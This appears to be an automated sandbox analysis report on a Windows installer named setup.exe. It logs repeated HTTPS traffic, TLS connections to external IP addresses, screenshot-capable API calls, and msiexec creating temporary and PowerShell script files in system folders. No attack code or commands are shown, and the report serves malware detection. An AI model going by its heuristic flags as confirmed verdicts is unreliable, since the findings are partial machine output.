Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 59266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 59184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59300
Source: unknown	Network traffic detected: HTTP traffic on port 59255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59303
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59157
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59275
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59152
Source: unknown	Network traffic detected: HTTP traffic on port 59210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59272
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59168
Source: unknown	Network traffic detected: HTTP traffic on port 59171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59281
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59162
Source: unknown	Network traffic detected: HTTP traffic on port 59274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59283
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59280
Source: unknown	Network traffic detected: HTTP traffic on port 59160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59179
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59293
Source: unknown	Network traffic detected: HTTP traffic on port 59296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59295
Source: unknown	Network traffic detected: HTTP traffic on port 59273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 59262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59183
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59184
Source: unknown	Network traffic detected: HTTP traffic on port 59251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 59217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59231
Source: unknown	Network traffic detected: HTTP traffic on port 59275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59232
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59239
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59238
Source: unknown	Network traffic detected: HTTP traffic on port 59208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59246
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59247
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59243
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59240
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59257
Source: unknown	Network traffic detected: HTTP traffic on port 59170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59252
Source: unknown	Network traffic detected: HTTP traffic on port 59193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59255
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59250
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59268
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59267
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59265
Source: unknown	Network traffic detected: HTTP traffic on port 59297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59261
Source: unknown	Network traffic detected: HTTP traffic on port 59179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59197
Source: unknown	Network traffic detected: HTTP traffic on port 59166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59194
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59193
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59195
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59191
Source: unknown	Network traffic detected: HTTP traffic on port 59155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 104.21.8.139:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:59273 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to record screenshots

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00CAA220 SendMessageW,GetParent,GetParent,GetWindowRect,GetParent,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,MapWindowPoints,FillRect,DeleteDC,SendMessageW,SendMessageW,SendMessageW,

0_2_00CAA220

System Summary

Contains functionality to call native functions

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00C889F0 GetSystemDirectoryW,LoadLibraryExW,NtdllDefWindowProc_W,	0_2_00C889F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC00C0 IsWindow,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	0_2_00BC00C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB9360 NtdllDefWindowProc_W,	0_2_00BB9360
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC9430 NtdllDefWindowProc_W,	0_2_00BC9430
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB6670 SysFreeString,GetWindowLongW,GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,GetWindowTextLengthW,GetWindowTextW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,SysFreeString,NtdllDefWindowProc_W,SysFreeString,	0_2_00BB6670
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00C177A0 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	0_2_00C177A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00C689B0 NtdllDefWindowProc_W,	0_2_00C689B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB9920 NtdllDefWindowProc_W,	0_2_00BB9920
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB6CD0 NtdllDefWindowProc_W,	0_2_00BB6CD0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB8C40 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DestroyWindow,	0_2_00BB8C40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC3E40 KillTimer,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DeleteCriticalSection,	0_2_00BC3E40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BD6FE0 NtdllDefWindowProc_W,	0_2_00BD6FE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BB5F50 GetWindowLongW,GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,GetWindowTextLengthW,GetWindowTextW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,NtdllDefWindowProc_W,	0_2_00BB5F50
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BBFF50 NtdllDefWindowProc_W,	0_2_00BBFF50
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00C889F0 GetSystemDirectoryW,LoadLibraryExW,NtdllDefWindowProc_W,	3_2_00C889F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB60E5 NtdllDefWindowProc_W,	3_2_00BB60E5
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC00C0 NtdllDefWindowProc_W,	3_2_00BC00C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB9360 NtdllDefWindowProc_W,	3_2_00BB9360
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC9430 NtdllDefWindowProc_W,	3_2_00BC9430
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB6670 SysFreeString,NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,SysFreeString,NtdllDefWindowProc_W,SysFreeString,	3_2_00BB6670
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00C177A0 NtdllDefWindowProc_W,	3_2_00C177A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00C689B0 NtdllDefWindowProc_W,	3_2_00C689B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB9920 NtdllDefWindowProc_W,	3_2_00BB9920
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB6CD0 NtdllDefWindowProc_W,	3_2_00BB6CD0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB8C40 NtdllDefWindowProc_W,	3_2_00BB8C40
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC3E40 NtdllDefWindowProc_W,DeleteCriticalSection,	3_2_00BC3E40
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BB5FA7 NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,NtdllDefWindowProc_W,	3_2_00BB5FA7
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BD6FE0 NtdllDefWindowProc_W,	3_2_00BD6FE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BBFF50 NtdllDefWindowProc_W,	3_2_00BBFF50

Creates files inside the system directory

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6bc77d.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC933.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC9EF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA7D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICAEB.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICB79.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICBB9.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{441BEFA6-D7B1-4C8C-8CF9-5A4D6215E43D}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC46.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC66.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID04F.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID11C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEC26.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI11D0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4739.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFB77.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\msiD25B.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\scrD25C.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\scrD25D.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\scrD25C.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\scrD25D.txt	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\msiD25B.txt	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\pssD27D.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\pssD27E.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\SystemTemp\ProD28F.tmp	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Deletes files inside the Windows folder

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIC933.tmp

Jump to behavior

Detected potential crypto function

